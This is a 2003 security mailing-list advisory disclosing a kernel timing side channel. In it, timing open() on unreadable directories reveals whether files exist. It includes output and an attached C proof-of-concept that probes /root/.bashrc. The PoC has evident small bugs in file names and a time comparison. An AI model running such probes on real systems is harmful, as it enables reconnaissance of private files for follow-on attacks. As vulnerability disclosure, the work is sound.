[29644] in bugtraq
Syscall implementation could lead to whether or not a file exists
daemon@ATHENA.MIT.EDU (Andrew Griffiths)
Fri Apr 4 12:15:42 2003
Message-ID: <3E8B37D3.50906@d2.net.au>
Date: Thu, 03 Apr 2003 05:19:47 +1000
From: Andrew Griffiths <andrewg@d2.net.au>
MIME-Version: 1.0
To: full-disclosure@lists.netsys.com, bugtraq@securityfocus.com
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Product: Linux and various other kernels
Tested:
- RedHat kernel 2.4.18-26.7.x (second latest ;))
- RedHat kernel 2.4.18-27.7.x
- Debian 3.0 box
- FreeBSD 4.4
Description:
Due to the implementation of various system calls, it becomes
possible to test whether or not a file exists in a directory
that is unreadable.
Synopsis:
Filenames can be disclosed, which may be useful for other
attacks.
Problem:
By timing how long it takes for the system call to return, you
can pretty tell whether or not the file exists, because the
failure time is in my testing, three times shorter than if the
file exists.
To illistrate, here is an example of the attached program
running with the open() call. I would think other syscalls such
as stat(), mkdir(), chdir(), etc would disclose whether or not a file
exists.
[+] creating unreachable
[+] creating unreachable/iexist
[+] chmod 0'ing unreachable
[+] d--------- 2 andrewg andrewg 4096 Mar 20 20:37 unreachable/
[+] Timing open() on unreachable/iexist
[+] Successful: 12 usecs, got Permission denied
[+] Timing open() on unreachable/non-existant
[+] Failure: 3 usecs, got Permission denied
[+] Using 3 as our cutoff.
[+] testing /root/.bashrc and /root/non-existant
[+] /root/.bashrc exists (4 usecs), got Permission denied
[+] /root/non-existant doesn't exist (2 usecs), got Permission denied
After a while of experimentation, I found that the following
formuala seems to be relatively decent at avoiding false
positivites, on my RH box.
cutoff = ((success_time + failure_time) / 3) - 2
This is somewhat dependant on the load on the box, and where the file
is located, though it appears.
On some OS's (notably freebsd in my testing) it will store the
results of into its cache (different to linux, in the sense that it
throws off the algo above.). Thus, if you just create a file and time
open()ing that, then compare it with a file that has
been recently opened, you don't get a fair comparsision.
Fix:
No known fix exists. Not exactly sure whether a fix is
appropiate, as the kernel is meant to be as fast as possible.
Exploit:
is attached.
Information is this email may be redistributed as long as the below
signature stays attached.
Thanks,
Andrew Griffiths
--
Attention: Public floggings will continue until morale improves.
MidWay_/#melb-wireless licks txrxafk while his defenses are down.
<MidWay_> Oh boy. That could have been taken out of context.
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#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#ifndef O_NOFOLLOW
#define O_NOFOLLOW 0400000 /* don't follow links */
#endif
#ifndef O_LARGEFILE
#define O_LARGEFILE 0100000
#endif
int flags = O_RDONLY|O_EXCL|O_SYNC|O_NOCTTY|O_NOFOLLOW;
/* taken from scuts format string example/brute_blind example */
unsigned long int
tv_diff (struct timeval *tv_a, struct timeval *tv_b)
{
unsigned long int diff;
if (tv_a->tv_sec < tv_b->tv_sec ||
(tv_a->tv_sec == tv_b->tv_sec && tv_a->tv_sec <
tv_b->tv_sec))
{
struct timeval * tvtmp;
tvtmp = tv_b;
tv_b = tv_a;
tv_a = tvtmp;
}
diff = (tv_a->tv_sec - tv_b->tv_sec) * 1000000;
if (tv_a->tv_sec == tv_b->tv_sec) {
diff += tv_a->tv_usec - tv_b->tv_usec;
} else {
if (tv_a->tv_usec >= tv_b->tv_usec)
diff += tv_a->tv_usec - tv_b->tv_usec;
else
diff -= tv_b->tv_usec - tv_a->tv_usec;
}
return (diff);
}
void cleanup()
{
printf("[+] cleaning up\n");
if(chmod("unreachable", 0700)==-1) {
printf("\t[-] Unable to revert unreachable back to being reachable\n");
exit(EXIT_FAILURE);
}
if(unlink("unreachable/iexist")==-1) {
printf("\t[-] Unable to remove unreachable/iexist\n");
exit(EXIT_FAILURE);
}
if(rmdir("unreachable")==-1) {
printf("\t[-] Unable to rmdir unreachable\n");
exit(EXIT_FAILURE);
}
}
int main(int argc, char **argv)
{
struct timeval tv_a, tv_b;
int fd_a, fd_b;
char buf_a[500], buf_b[500];
unsigned int success, n, failure;
atexit(cleanup);
printf("[+] creating unreachable\n");
if(mkdir("unreachable", 0700)==-1) {
printf("\t[-] Unable to create unreachable\n");
exit(EXIT_FAILURE);
}
printf("[+] creating unreachable/iexist\n");
if((fd_a = creat("unreachable/iexist", 0700))==-1) {
printf("\t[-] Unable to create unreachable/iexist\n");
exit(EXIT_FAILURE);
}
close(fd_a);
printf("[+] chmod 0'ing unreachable\n");
if(chmod("unreachable", 00)==-1) {
printf("\t[-] Unable to chmod unreachable\n");
exit(EXIT_FAILURE);
}
printf("[+] "); fflush(stdout);
system("ls -alF | grep unreachable");
printf("[+] Timing open() on unreachable/iexist\n");
/* fd_a = open("unreachable/exists", flags);
close(fd_a); */
gettimeofday(&tv_a, NULL);
fd_a = open("unreachable/exists", flags);
gettimeofday(&tv_b, NULL);
printf("\t[+] Successful: %ld usecs, got %m\n", (success = tv_diff(&tv_b, &tv_a)));
close(fd_a);
printf("[+] Timing open() on unreachable/non-existant\n");
/* fd_b = open("unreachable/non-existant", flags);
close(fd_b); */
gettimeofday(&tv_a, NULL);
fd_b = open("unreachable/non-existant", flags);
gettimeofday(&tv_b, NULL);
printf("\t[+] Failure: %ld usecs, got %m\n", (failure = tv_diff(&tv_b, &tv_a)));
close(fd_b);
success += tv_diff(&tv_b, &tv_a);
success /= 3;
// success -= 2;
if(failure > success || success > (failure*8) ) {
printf("[-] It appears the load went up unexpectadly, mebe try re-running?\n");
exit(EXIT_FAILURE);
}
/* tweak the success value */
if((failure*4) >= success) success--;
if(success <= (failure*3)) success++;
printf("\t[+] Using %d as our cutoff.\n", success);
printf("[+] testing /root/.bashrc and /root/non-existant\n");
/* fd_a = open("/root/.bashrc", flags);
close(fd_a); */
gettimeofday(&tv_a, NULL);
fd_a = open("/root/.bashrc", flags);
gettimeofday(&tv_b, NULL);
if((n = tv_diff(&tv_b, &tv_a)) >= success) {
printf("\t[+] /root/.bashrc exists (%d usecs), got %m\n", n);
} else {
printf("\t[+] /root/.bashrc doesn't exist (%d usecs), got %m\n", n);
}
close(fd_a);
/* fd_b = open("/root/non-existant", flags);
close(fd_b); */
gettimeofday(&tv_a, NULL);
fd_b = open("/root/non-existant", flags);
gettimeofday(&tv_b, NULL);
if((n = tv_diff(&tv_b, &tv_a)) >= success) {
printf("\t[+] /root/non-existant exists (%d usecs), got %m\n", n);
} else {
printf("\t[+] /root/non-existant doesn't exist (%d usecs), got %m\n", n);
}
close(fd_b);
}
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